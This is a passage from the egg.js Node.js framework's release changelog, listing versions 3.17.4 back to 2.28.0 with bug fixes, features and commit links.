([5ac26a3](https://github.com/eggjs/egg/commit/5ac26a39b4256b6a3fcd55da947a47a82811c7c1))\n\n## [3.17.4](https://github.com/eggjs/egg/compare/v3.17.3...v3.17.4) (2023-08-01)\n\n\n### Bug Fixes\n\n* use app.logger instead of ctx.logger ([#5246](https://github.com/eggjs/egg/issues/5246)) ([b700fb9](https://github.com/eggjs/egg/commit/b700fb962a866c6e699f5c88b342960cc5ee0b78)), closes [/github.com/eggjs/egg/issues/5213#issuecomment-1657771583](https://github.com/eggjs//github.com/eggjs/egg/issues/5213/issues/issuecomment-1657771583)\n\n## [3.17.3](https://github.com/eggjs/egg/compare/v3.17.2...v3.17.3) (2023-06-29)\n\n\n### Bug Fixes\n\n* add missing args definition on runSchedule ([#5232](https://github.com/eggjs/egg/issues/5232)) ([f90763b](https://github.com/eggjs/egg/commit/f90763b164897bf4992b6ec58c4eae20775c0006))\n\n## [3.17.2](https://github.com/eggjs/egg/compare/v3.17.1...v3.17.2) (2023-06-25)\n\n\n### Bug Fixes\n\n* don't require inspector module on production env ([#5228](https://github.com/eggjs/egg/issues/5228)) ([398fe15](https://github.com/eggjs/egg/commit/398fe15eb28c3bbe8d79a0c2b129d55922f45a9a))\n\n## [3.17.1](https://github.com/eggjs/egg/compare/v3.17.0...v3.17.1) (2023-06-22)\n\n\n### Bug Fixes\n\n* compatible with content-type extra semicolon ([#5217](https://github.com/eggjs/egg/issues/5217)) ([cfdca36](https://github.com/eggjs/egg/commit/cfdca36b4ee84397ed2cb1987982d502a3c8af0a))\n\n## [3.17.0](https://github.com/eggjs/egg/compare/v3.16.1...v3.17.0) (2023-06-19)\n\n\n### Features\n\n* add getSingletonInstance alias to singleton.get(id) ([#5216](https://github.com/eggjs/egg/issues/5216)) ([9868768](https://github.com/eggjs/egg/commit/98687685bb095d37166d3a66890f0164428a8e53))\n\n## [3.16.1](https://github.com/eggjs/egg/compare/v3.16.0...v3.16.1) (2023-06-15)\n\n\n### Bug Fixes\n\n* ipc not work with worker_threads mode ([#5210](https://github.com/eggjs/egg/issues/5210)) ([03c8cf7](https://github.com/eggjs/egg/commit/03c8cf743d1fb56a55dbc633f088b08410423c5a))\n\n## [3.16.0](https://github.com/eggjs/egg/compare/v3.15.0...v3.16.0) (2023-05-10)\n\n\n### Features\n\n* use egg-security@3.0.0 ([#5182](https://github.com/eggjs/egg/issues/5182)) ([a13b35e](https://github.com/eggjs/egg/commit/a13b35e05ca660fee3663db9381cdf44d63e44a0))\n\n## [3.15.0](https://github.com/eggjs/egg/compare/v3.14.2...v3.15.0) (2023-01-28)\n\n\n### Features\n\n* runInAnonymousContextScope support req ([#5134](https://github.com/eggjs/egg/issues/5134)) ([615d660](https://github.com/eggjs/egg/commit/615d6608ab2fc66af848fb82ce41ed359f41bfb0))\n\n## [3.14.2](https://github.com/eggjs/egg/compare/v3.14.1...v3.14.2) (2023-01-20)\n\n\n### Bug Fixes\n\n* **types:** app.router.url params should be optional ([#5132](https://github.com/eggjs/egg/issues/5132)) ([dda6bb3](https://github.com/eggjs/egg/commit/dda6bb3674af4acbdd7d5eb2f2ca373c714c7d2d))\n\n## [3.14.1](https://github.com/eggjs/egg/compare/v3.14.0...v3.14.1) (2023-01-17)\n\n\n### Bug Fixes\n\n* export urllib types directly ([#5128](https://github.com/eggjs/egg/issues/5128)) ([483bf1d](https://github.com/eggjs/egg/commit/483bf1d12bee5157f9a95e0a5b7403fc7562900e))\n\n## [3.14.0](https://github.com/eggjs/egg/compare/v3.13.0...v3.14.0) (2023-01-17)\n\n\n### Features\n\n* export urllib types ([#5127](https://github.com/eggjs/egg/issues/5127)) ([1f7b082](https://github.com/eggjs/egg/commit/1f7b08298ff4c6f118b93d3b3bf8e1fb3ac37db1))\n\n## [3.13.0](https://github.com/eggjs/egg/compare/v3.12.0...v3.13.0) (2023-01-13)\n\n\n### Features\n\n* log app start timeline on coreLogger ([#5122](https://github.com/eggjs/egg/issues/5122)) ([6c4e8bc](https://github.com/eggjs/egg/commit/6c4e8bca1b829ecd47e98cc9b0544c7aa874e755))\n\n## [3.12.0](https://github.com/eggjs/egg/compare/v3.11.1...v3.12.0) (2023-01-04)\n\n\n### Features\n\n* siteFile favicon config support async function type ([#5114](https://github.com/eggjs/egg/issues/5114)) ([667684f](https://github.com/eggjs/egg/commit/667684f79d8485ee9d9a03bf99077fa2dfef5507))\n\n## [3.11.1](https://github.com/eggjs/egg/compare/v3.11.0...v3.11.1) (2023-01-03)\n\n\n### Bug Fixes\n\n* remove duplicate identifier ssrf ([#5113](https://github.com/eggjs/egg/issues/5113)) ([2b407eb](https://github.com/eggjs/egg/commit/2b407ebce9112d96e5e8a452eef09bcc70496e92))\n\n## [3.11.0](https://github.com/eggjs/egg/compare/v3.10.0...v3.11.0) (2023-01-02)\n\n\n### Features\n\n* add ssrf declaration ([#4687](https://github.com/eggjs/egg/issues/4687)) ([b1414f2](https://github.com/eggjs/egg/commit/b1414f2c749da5ab9bf07abf26ff75eac0b9cb73))\n\n## [3.10.0](https://github.com/eggjs/egg/compare/v3.9.2...v3.10.0) (2023-01-02)\n\n\n### Features\n\n* use egg-core@5 ([#5111](https://github.com/eggjs/egg/issues/5111)) ([7b8edbf](https://github.com/eggjs/egg/commit/7b8edbf322ed59c76ce3a85cd4595605d743fb80))\n\n## [3.9.2](https://github.com/eggjs/egg/compare/v3.9.1...v3.9.2) (2022-12-21)\n\n\n### Bug Fixes\n\n* currentContext typo ([#5107](https://github.com/eggjs/egg/issues/5107)) ([713a081](https://github.com/eggjs/egg/commit/713a081475189ef6d00c85a559849ff97f824d11))\n\n## [3.9.1](https://github.com/eggjs/egg/compare/v3.9.0...v3.9.1) (2022-12-18)\n\n\n### Bug Fixes\n\n* Enable auto npm release workflow ([#5102](https://github.com/eggjs/egg/issues/5102)) ([13bbe6c](https://github.com/eggjs/egg/commit/13bbe6c24e1c8160ae629e12c81e30e27b6c3dba))\n\n## [3.9.1](https://github.com/eggjs/egg/compare/v3.9.0...v3.9.1) (2022-12-18)\n\n\n### Bug Fixes\n\n* Enable auto npm release workflow ([#5102](https://github.com/eggjs/egg/issues/5102)) ([13bbe6c](https://github.com/eggjs/egg/commit/13bbe6c24e1c8160ae629e12c81e30e27b6c3dba))\n\n---\n\n# History\n\n## 2022-12-16, Version 3.9.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * 📦 NEW: Run async function in the anonymous context scope\n\n  ```js\n  await app.runInAnonymousContextScope(async ctx => {\n    // run with anonymous ctx here\n  });\n  ```\n\n### Commits\n\n  * [[`af1206904`](http://github.com/eggjs/egg/commit/af12069041c1ea11217688c9c17d3712a44d3422)] - chore: update workflow for gh-pages (#5098) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`344139e47`](http://github.com/eggjs/egg/commit/344139e4759f56ab2beca2e2a5c2783160396ba9)] - 🐛 FIX: Typo on HttpClient request (#5097) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`1021faf78`](http://github.com/eggjs/egg/commit/1021faf78e5f23fa366c0034a38f81b0f361e9ec)] - 👌 IMPROVE: Keep more compatible d.ts on httpclient request (#5092) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`9d6acfd7c`](http://github.com/eggjs/egg/commit/9d6acfd7c3266ae6a56e45cb7a72473d628f6e16)] - 📦 NEW: Run async function in the anonymous context scope (#5094) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-12-12, Version 3.8.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * Upgrade egg-schedule@4 to support `app.currentContext` on scheduler\n\n### Commits\n\n  * [[`75d025b24`](http://github.com/eggjs/egg/commit/75d025b24e5e3016f2df84e2ba1901f42156c0b7)] - 👌 IMPROVE: Upgrade egg-schedule to v4 (#5088) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-12-11, Version 3.7.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * 📦 NEW: Set `config.logger.enableFastContextLogger = true` to enable faster context logger\n\n### Commits\n\n  * [[`e94c7df63`](http://github.com/eggjs/egg/commit/e94c7df63e1812da672dbaf7200e652cc4537c7b)] - 📦 NEW: Upgrade egg-logger v3 to enable localStorage (#5085) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c76e16cf7`](http://github.com/eggjs/egg/commit/c76e16cf7fb67d5f2c1b19252e01a5e3fed9cf96)] - 📖 DOC: Use @eggjs/tsconfig for tsconfig.json (#5066) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-12-09, Version 3.6.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * 🚀🚀🚀 Support `app.ctxStorage` and `app.currentContext` to get current execute ctx, see [koa#1455](https://github.com/koajs/koa/pull/1455)\n\n### Commits\n\n  * [[`bf36904e0`](http://github.com/eggjs/egg/commit/bf36904e0fb1d4477ebb7068dd8ad6726d29182f)] - 📦 NEW: Add ctxStorage and currentContext d.ts (#5079) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`c68992ab7`](http://github.com/eggjs/egg/commit/c68992ab71b854f825df0ff3ea4b82e7666ec828)] - chore: ignore gp-pages branch while deploying preview (#5077) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`13906825b`](http://github.com/eggjs/egg/commit/13906825bc3fab260aa0dd8888ce9fd19f2f70c5)] - chore: use actions to deploy vercel project (#5076) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`5d825bb59`](http://github.com/eggjs/egg/commit/5d825bb59ed691bd45c3a8b2f6c222496910e250)] - docs: update communite links (#5073) (Suyi <<thonatos.yang@gmail.com>>)\n\n## 2022-11-28, Version 3.5.1 @killagu\n\n### Notable Changes\n\n* **fixes**\n  * Dump `config/timing` when app start timeout\n\n### Commits\n\n  * [[`c859506a0`](http://github.com/eggjs/egg/commit/c859506a094181f5f45db16a8501daaaea56b3d3)] - fix: dump config/timing when timeout (#5069) (killa <<killa123@126.com>>)\n\n## 2022-11-15, Version 3.5.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * Auto disable cluster-client heartbeat checker on debug mode\n\n### Commits\n\n  * [[`6de5cba5d`](http://github.com/eggjs/egg/commit/6de5cba5d0d02d09e9e6ee71f9e7b1cb3d65c24e)] - feat: disable cluster-client heartbeat on debug mode (#5059) (sinkhaha <<1468709106@qq.com>>)\n\n## 2022-11-07, Version 3.4.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * Upgrade egg-cluster v2 to support worker_threads start mode\n  * Drop httpclient callback and thunk style, a breaking change to egg@2\n  * Print warnning log when boot action takes more than 5000ms\n  * Don't need to patch keep-alive header on Node.js >= 14.20.0\n\n### Commits\n\n  * [[`2b5f289bb`](http://github.com/eggjs/egg/commit/2b5f289bba3bd14c2867136b5dcbf3bed5cfdf9e)] - 📦 NEW: Use egg-cluster v2 (#5055) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`610a39e7f`](http://github.com/eggjs/egg/commit/610a39e7f41a17a2123705691d6c1bfdc3e12f88)] - 👌 IMPROVE: Drop httpclient callback and thunk style (#5052) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`3a941d669`](http://github.com/eggjs/egg/commit/3a941d669cc1d2c12a2caad4dd24492e98444348)] - 👌 IMPROVE: Print warnning log when boot action takes more than 5000ms (#5049) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`d820b739b`](http://github.com/eggjs/egg/commit/d820b739b95207bdea8c9b4c3da0f5059bc0113c)] - 👌 IMPROVE: Don't need to patch keep-alive header on Node.js >= 14.20.0 (#5051) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`6ac4cdbfb`](http://github.com/eggjs/egg/commit/6ac4cdbfbb35905f6f315f51122c1badcb913b5c)] - 🤖 TEST: Add Node.js 19 ci runner (#5050) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`d05cc015e`](http://github.com/eggjs/egg/commit/d05cc015e4a748bf41a4dbf46e978d1f4ad44954)] - docs: fix Application description (#5044) (ldc-37 <<34739463+ldc-37@users.noreply.github.com>>)\n\n## 2022-09-28, Version 3.3.3 @fengmk2\n\n### Notable Changes\n\n* **fixes**\n  * Allow override HttpClientNext\n\n### Commits\n  * [[`7ee19e840`](http://github.com/eggjs/egg/commit/7ee19e8402b1d23ecdc1791e044a1902049e14dd)] - 🐛 FIX: Allow override HttpClientNext (#5037) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-09-27, Version 3.3.2 @atian25\n\n### Notable Changes\n\n* **fixes**\n  * update multipart 3.1.0, https://github.com/eggjs/egg-multipart/pull/56\n\n### Commits\n  * [[`201bfa749`](http://github.com/eggjs/egg/commit/201bfa7492920aafad71b7845e5cc6eaef69f8bc)] - fix: update multipart 3.1.0 (#5034) (TZ | 天猪 <<atian25@qq.com>>)\n\n\n## 2022-09-26, Version 3.3.1 @fengmk2\n\n### Notable Changes\n\n* **fixes**\n  * fallback egg-multipart@2 to support filename with non-ASCII characters\n### Commits\n\n  * [[`acadb28e2`](http://github.com/eggjs/egg/commit/acadb28e2814b0b91828e0766673f199d7767f3a)] - fix: fallback egg-multipart to v2 (#5032) (fengmk2 <<fengmk2@gmail.com>>)\n\n\n## 2022-09-23, Version 3.3.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * Support config `serverGracefulIgnoreCode` to ignore error avoid process exit when uncatch error emit\n  See https://github.com/node-modules/graceful/pull/13\n### Commits\n\n  * [[`a0761d65f`](http://github.com/eggjs/egg/commit/a0761d65f5df1002853c169efedab969636247d3)] - feat(graceful): support serverGracefulIgnoreCode (#5027) (hyj1991 <<yeekwanvong@gmail.com>>)\n  * [[`8b8dd3be9`](http://github.com/eggjs/egg/commit/8b8dd3be95bb53ad3c732b8bc9c20566021e955f)] - chore: remove jsdoc and disable vercel comment (#5026) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`f4225339f`](http://github.com/eggjs/egg/commit/f4225339f6235f78fe53d34d1eb0993faa410b36)] - test: fix ci (#5025) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`5de994b9c`](http://github.com/eggjs/egg/commit/5de994b9c4cd17f9ecd4d4083c20b29f399a9e40)] - chore: fix action for gh-pages (#5024) (Suyi <<thonatos.yang@gmail.com>>)\n\n## 2022-09-21, Version 3.2.0 @fengmk2\n\n### Notable Changes\n\n**features**\n  * [[`733d66989`](http://github.com/eggjs/egg/commit/733d66989d1f8657ce55b6032944188da635b8f0)] - feat: update egg-multipart 2.x -> 3.x (#5023) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`2ffb37ab5`](http://github.com/eggjs/egg/commit/2ffb37ab59395c9b14f153f91abb9f816a5e98ea)] - feat: Support urllib@3 (#5000) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`485781389`](http://github.com/eggjs/egg/commit/485781389e548ff0cf1eb107fea93c1bb01170d7)] - docs: update the version of the required Node (#5021) (Maledong <<maledong_public@foxmail.com>>)\n  * [[`bbd0e432e`](http://github.com/eggjs/egg/commit/bbd0e432e52832cc7a3d4b26a0141d7eb02e3793)] - chore: change the templates of bug/suggestion report (#5019) (Maledong <<maledong_public@foxmail.com>>)\n  * [[`2c5ba484a`](http://github.com/eggjs/egg/commit/2c5ba484a2dd8f214b9cdb53aa952688bc54cb2b)] - 🐛 FIX: Add config.httpclient.useHttpClientNext defined (#5001) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-08-28, Version 3.1.0 @fengmk2\n\n### Notable Changes\n\n* **features**\n  * Support urllib@3 by `config.httpclient.useHttpClientNext = true`, see [#4847](https://github.com/eggjs/egg/issues/4847)\n\n### Commits\n  * [[`2c5ba484a`](http://github.com/eggjs/egg/commit/2c5ba484a2dd8f214b9cdb53aa952688bc54cb2b)] - 🐛 FIX: Add config.httpclient.useHttpClientNext defined (#5001) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`2ffb37ab5`](http://github.com/eggjs/egg/commit/2ffb37ab59395c9b14f153f91abb9f816a5e98ea)] - feat: Support urllib@3 (#5000) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-08-21, Version 3.0.0 @fengmk2\n\n**features**\n  * Drop Node.js 8, 10, 12 supports, this release is a LTS version for egg@2, see https://github.com/eggjs/egg/issues/3644#issuecomment-1221460692\n\n## 2022-06-17, Version 2.36.0 @atian25\n\n**features**\n  * [[`e0b93e023`](http://github.com/eggjs/egg/commit/e0b93e023e1258c4037c68dacfc41fc304602bbc)] - feat: should log unfinished timing item (#4968) (TZ | 天猪 <<atian25@qq.com>>)\n\n**others**\n  * [[`7f1689f9f`](http://github.com/eggjs/egg/commit/7f1689f9fbd286bde3b8b5aebf86af09a599359c)] - chore: typo CSRF on router.md (#4962) (Homyee King <<HomyeeKing@gmail.com>>)\n  * [[`e31c09c20`](http://github.com/eggjs/egg/commit/e31c09c2001b15fbc2431f4c36f6e59da5e3ebca)] - chore: fix some comments (#4937) (Maledong <<maledong_public@foxmail.com>>)\n  * [[`b0c17fdd0`](http://github.com/eggjs/egg/commit/b0c17fdd02512f743786203c326dc86be636f9a6)] - chore: remove git.io (#4940) (Baoshuo Ren <<i@baoshuo.ren>>)\n  * [[`12755e275`](http://github.com/eggjs/egg/commit/12755e27555b8f84a745c319c89b1c4d75ae3f78)] - test: Create codeql-analysis.yml (#4935) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`8078917fd`](http://github.com/eggjs/egg/commit/8078917fd66c41d21b0f2c738f77cc7916edfaca)] - chore: package upgrade and unittest fixture (#4933) (Maledong <<maledong_public@foxmail.com>>)\n  * [[`a5a358ceb`](http://github.com/eggjs/egg/commit/a5a358cebc78734d45a450a641913ae242c5dc70)] - chore: fix contributors badges on README.md (#4930) (XiaoRui <<xiangwu619@gmail.com>>)\n\n## 2022-04-01, Version 2.35.0 @mansonchor\n\n**features**\n  * [[`c1313f5ef`](http://github.com/eggjs/egg/commit/c1313f5ef960e5aaad7f04adb6665679f2ec10e2)] - feat: dumpConfig add appInfo (#4917) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n**others**\n  * [[`4e5309188`](http://github.com/eggjs/egg/commit/4e5309188a60393435d5ab2df65ca67186f31035)] - test: add ChainAlert action (#4908) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2022-03-16, Version 2.34.0\n\n**features**\n  * [[`caacd09c3`](http://github.com/eggjs/egg/commit/caacd09c38aae03fc291febbb97a43c8ecbdc221)] - feat: siteFile support custom control-cache (#4902) (binginsist <<yangbingmail@foxmail.com>>)\n\n**others**\n  * [[`f97fe4a8c`](http://github.com/eggjs/egg/commit/f97fe4a8c8c0b5f8c097055213f9e7177b9ab2dd)] - test: change error code assert (#4907) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`a7aa7f37d`](http://github.com/eggjs/egg/commit/a7aa7f37d901afd4c26a2a9aa57fe938b2109e94)] - docs: typo fix on deployment.zh-CN.md (#4906) (Krryxa <<krryxq@163.com>>)\n  * [[`d3fe13aa2`](http://github.com/eggjs/egg/commit/d3fe13aa25065995cfa9d78461be80194176f183)] - docs: typo fix on security.zh-CN.md (#4905) (Krryxa <<krryxq@163.com>>)\n  * [[`2dc723129`](http://github.com/eggjs/egg/commit/2dc723129614bd727e86871ae3e7cfc60166dd81)] - docs: use egg brand color for site (#4900) (Peach <<scdzwyxst@gmail.com>>)\n  * [[`11bbd8527`](http://github.com/eggjs/egg/commit/11bbd852731b1583cae5a5d519baa20960c0521d)] - docs: enhance (#4884) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`76d014bd5`](http://github.com/eggjs/egg/commit/76d014bd583c6d0b9b9f40ac2e6e7ba9dd66e8ed)] - docs: update node version (#4886) (lxinr <<33972246+lxinr@users.noreply.github.com>>)\n  * [[`9003cb5ad`](http://github.com/eggjs/egg/commit/9003cb5ad370d0c07b2baee88f3b25c597ac3929)] - docs: update https://registry.npm.taobao.org to https://registry.npmmirror.com (#4881) (Non-Official NPM Mirror Bot <<99484857+npmmirror@users.noreply.github.com>>)\n  * [[`b47409770`](http://github.com/eggjs/egg/commit/b47409770d76f03eb1ea0476be9e00207186c42e)] - docs: dumi (#4879) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`56816dbc5`](http://github.com/eggjs/egg/commit/56816dbc59dbb1a4973ca60130c9ff3f5be8b2da)] - docs (sequelize): Changed `config.sequelize` to `exports.sequelize`  in configuration part (#4873) (Aelita <<45784210+xsjcTony@users.noreply.github.com>>)\n  * [[`20842f9c2`](http://github.com/eggjs/egg/commit/20842f9c216ed538924936163b7ed18437c54cd7)] - docs: Add license scan report and status (#4880) (fossabot <<badges@fossa.io>>)\n\n## 2021-12-07, Version 2.33.1\n\n**features**\n  * [[`18dcadc1c`](http://github.com/eggjs/egg/commit/18dcadc1cf6c9837de605916a0d8b161a63e7218)] - feat: meta middleware x-readtime support performanceStarttime (#4827) (fengmk2 <<fengmk2@gmail.com>>)\n\n**others**\n  * [[`8659d4bc3`](http://github.com/eggjs/egg/commit/8659d4bc37e0652d66d04d2e5504fdc0ef2f7f7d)] - docs: update contributors (#4826) (Suyi <<thonatos.yang@gmail.com>>)\n  * [[`4d18732c7`](http://github.com/eggjs/egg/commit/4d18732c79e44a84140df05e879b8b5f569c2b4b)] - chore: remove @types/urllib from autod (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2021-12-06, Version 2.33.0\n\n**features**\n  * [[`0f6589e1d`](http://github.com/eggjs/egg/commit/0f6589e1dc9e538434eb1580327556d5aa264822)] - feat: support better logger timer in precise milliseconds (#4806) (fengmk2 <<fengmk2@gmail.com>>)\n\n## 2021-11-15, Version 2.32.0 @atian25\n\n### Notable Changes\n\n* **features**\n  * handle ENETUNREACH error on httpclient\n\n### Commits\n\n  * [[`189c47804`](http://github.com/eggjs/egg/commit/189c478048d820b7b1a6ba6e8bce3444604876ff)] - feat: handle ENETUNREACH error on httpclient (#4792) (fengmk2 <<fengmk2@gmail.com>>)\n\n\n## 2021-10-18, Version 2.31.0 @killagu\n\n### Notable Changes\n\n* **typing**\n  * support ssrf typing in config\n\n### Commits\n\n* [[`debfda7ab`](https://github.com/eggjs/egg/commit/debfda7ab38f4893b6f122abfbf3e5288af1441e)] - feat(config): support ssrf field in security config. (#4778) (Jasin Yip <<yejunxing@gmail.com>>)\n\n## 2021-08-09, Version 2.30.0 @mansonchor\n\n### Notable Changes\n\n* **features**\n  * support disableDNSCache in one request even though config set to `enableDNSCache: true`\n\n* **docs**\n  * update ts docs, add missing zh-CN doc\n  * typo fix\n\n### Commits\n\n  * [[`13dd55076`](https://github.com/eggjs/egg.git/commit/13dd5507694a57a11e12d1ac6f71ba4a562d88c0)] - feat: support disableDNSCache by request args handle (#4728) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n  * [[`1b4fde454`](https://github.com/eggjs/egg.git/commit/1b4fde454d2d61200a8b066ba841ad6d81b5b69d)] - unittest: rename and remove some useless tests (#4705) (Maledong <<maledong_public@foxmail.com>>)\n  * [[`156980d36`](https://github.com/eggjs/egg.git/commit/156980d369570531c1ef9cf842f02f513b56fe4a)] - doc: Typo fixture (#4707) (Maledong <<maledong_public@foxmail.com>>)\n  * [[`27aa49b59`](https://github.com/eggjs/egg.git/commit/27aa49b5945f08fa6b636479cf4cba7822e3af2d)] - doc: Typo fixture:「,」->「，」 (#4708) (陈煮酒 <<501205587@qq.com>>)\n  * [[`1f02a8d45`](https://github.com/eggjs/egg.git/commit/1f02a8d4560ca3334425e646c1ac87226aba3a63)] - doc: Add the missing zh-CN trans for typescript (#4703) (Maledong <<52018749+MaledongGit@users.noreply.github.com>>)\n  * [[`f5cf0d965`](https://github.com/eggjs/egg.git/commit/f5cf0d965fa4077da10e87f070e113496077872c)] - doc: \"登陆\" should be \"登录\" (#4697) (HOU Ce <<594965698@qq.com>>)\n  * [[`750558400`](https://github.com/eggjs/egg.git/commit/750558400e3bd5f39658dfcbedd4af7bc0bdda2a)] - docs: update ts docs (#4666) (吖猩 <<whxaxes@gmail.com>>)\n  * [[`93d2b04b9`](https://github.com/eggjs/egg.git/commit/93d2b04b985145f27a39335300a78002a61da2a8)] - docs: fix loaderUpdate.md didReady example (#4652) (shadyzoz <<shadyzoz@icloud.com>>)\n\n## 2021-04-13, Version 2.29.4 @popomore\n\n### Notable Changes\n\n* **fixes**\n  * remove internal interval handler when close agent\n* **docs**\n  * Added english doc to how-to-migrate-from-1.x, Thx @ZixiaoWang\n  * typo improvement\n\n### Commits\n\n  * [[`ce234226b`](http://github.com/eggjs/egg/commit/ce234226bf0c43f03aedf727a7d195ae4175c01f)] - fix: remove internal interval handler when close agent (#4654) (Harry Chen <<czy88840616@gmail.com>>)\n  * [[`6a6d68fb2`](http://github.com/eggjs/egg/commit/6a6d68fb228a3eae9b5cab3ba7afe0892d5e08ea)] - Typo fixture：制定 -> 指定 (#4639) (华晨 <<chanjsq@gmail.com>>)\n  * [[`603c74b58`](http://github.com/eggjs/egg/commit/603c74b581d6b3a9ad80170335425b0876ffcb1f)] - docs: Added english doc to how-to-migrate-from-1.x (#4630) (Jacky Wang <<www.wangzixiao@126.com>>)\n  * [[`693df6066`](http://github.com/eggjs/egg/commit/693df60661735008e8a758258fc2df0bb9783f04)] - docs: fix schedule reference (#4556) (xuxu <<must414@163.com>>)\n  * [[`4ebbe8143`](http://github.com/eggjs/egg/commit/4ebbe814386102377870959129e831a3b20133c1)] - docs: fix typo (#4596) (suinia <<suini_a@163.com>>)\n\n## 2021-02-19, Version 2.29.3 @killa\n\n### Notable Changes\n\n* **fixes**\n  * fix ctx body typing\n\n### Commits\n  * [[`e9fba1b7b`](http://github.com/eggjs/egg/commit/e9fba1b7bbe3f54b023262aeb5487b31047e119e)] - fix: fix ctx body as any (#4613) (killa <<killa123@126.com>>)\n\n## 2021-02-18, Version 2.29.2 @killa\n\n### Notable Changes\n\n* **fixes**\n  * fix query typing\n  * add overrideIgnore define\n\n### Commits\n\n  * [[`99682e4bd`](http://github.com/eggjs/egg/commit/99682e4bd5afe1697cab02001e919b967c264869)] - fix: fix query typing (#4611) (killa <<killa123@126.com>>)\n  * [[`26017ee2e`](http://github.com/eggjs/egg/commit/26017ee2e49bd8a42b660baabe31284e00f81bcb)] - chore: fix comment typo at request.js (#4513) (Albert 理斯特 <<shuaizhexu@gmail.com>>)\n  * [[`34048c275`](http://github.com/eggjs/egg/commit/34048c275afe1126716ef4265b667169e9866e53)] - fix: add overrideIgnore define (#4490) (kotot <<317643941@qq.com>>)\n  * [[`d652658d1`](http://github.com/eggjs/egg/commit/d652658d1205d0fbc73b4417c2ae54ee0a24f395)] - docs: d2 ads (#4508) (Suyi <<thonatos.yang@gmail.com>>)\n\n## 2020-10-19, Version 2.29.1 @atian25\n\n### Notable Changes\n\n* **fixes**\n  * revert clear timing after ready, only disable\n  * won't set keep-alive header at Node.js ^12.19.0 || >=14.8.0\n\n### Commits\n\n  * [[`9f653afe7`](http://github.com/eggjs/egg/commit/9f653afe790e0ead44109c68dfffb8353fdca56c)] - fix: remove clear timing && skip keep-alive after 12.19.0 (#4497) (TZ | 天猪 <<atian25@qq.com>>)\n\n\n## 2020-09-23, Version 2.29.0 @atian25\n\n### Notable Changes\n\n* **features**\n  * dumpconfig also dump disabled plugin\n\n* **docs**\n  * csrf double cookie defense should enabled on all method\n  * test case for env.EGG_APP_CONFIG\n  * optimize multiple env configuration description\n\n### Commits\n\n  * [[`cc80c6ab8`](http://github.com/eggjs/egg/commit/cc80c6ab86c71b1c9ea244065d4766297bfb6c17)] - feat: dumpconfig also dump disabled plugin (#4480) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`1d32771e5`](http://github.com/eggjs/egg/commit/1d32771e5aeb8fa8546ad8bfacf2f438973afae0)] - doc: csrf double cookie defense should enabled on all method (#3881) (Hongcai Deng <<admin@dhchouse.com>>)\n  * [[`504e4bebc`](http://github.com/eggjs/egg/commit/504e4bebcef03830be7c7432210b5b6b1de9d06b)] - test: for env.EGG_APP_CONFIG (#4468) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`ff4dfaa09`](http://github.com/eggjs/egg/commit/ff4dfaa098ad40ab7a0773c44d409829fcbb0e41)] - docs(config): optimize multiple env configuration description (#4406) (Andy <<xiaoxiaocoder@126.com>>)\n  * [[`b283791da`](http://github.com/eggjs/egg/commit/b283791dab3c86beb14506668e2aa3ef21cb78e6)] - docs: update badge to github action (#4463) (TZ | 天猪 <<atian25@qq.com>>)\n\n\n## 2020-09-08, Version 2.28.0 @atian25\n\n### Notable Changes\n\n* **features**\n  * clear & disable timing after ready\n\n* **fixes**\n  * only set keep-alive header before Node.js 14.8.0\n\n* **typings**\n  * Added missing types in HttpClientConfig\n  * export EggLogger/EggHttpClient/EggContextHttpClient\n\n* **docs**\n  * fixed grammatical and spelling errors\n  * update compress url\n\n### Commits\n\n  * [[`b31b47df1`](http://github.com/eggjs/egg/commit/b31b47df10722bfac7ac13771db534f0200fc6ce)] - feat: clear & disable timing after ready (#4421) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`d25d32e58`](http://github.com/eggjs/egg/commit/d25d32e584b0bfd80f21cc522b91ac465f2852ac)] - fix: only set keep-alive header before Node.js 14.8.0 (#4457) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`a7ae46c84`](http://github.com/eggjs/egg/commit/a7ae46c847db07c0c4af1a85173bc4009d1219d9)] - type: Added missing types in HttpClientConfig (#4388) (Gcaufy <<gcaufy@gmail.com>>)\n  * [[`064cc7a91`](http://github.com/eggjs/egg/commit/064cc7a91a2be89e39d72a833a1cb35cdcd8f201)] - docs: fixed grammatical and spelling errors (#4424) (Hridayesh Sharma <<dev.hridayesh@gmail.com>>)\n  * 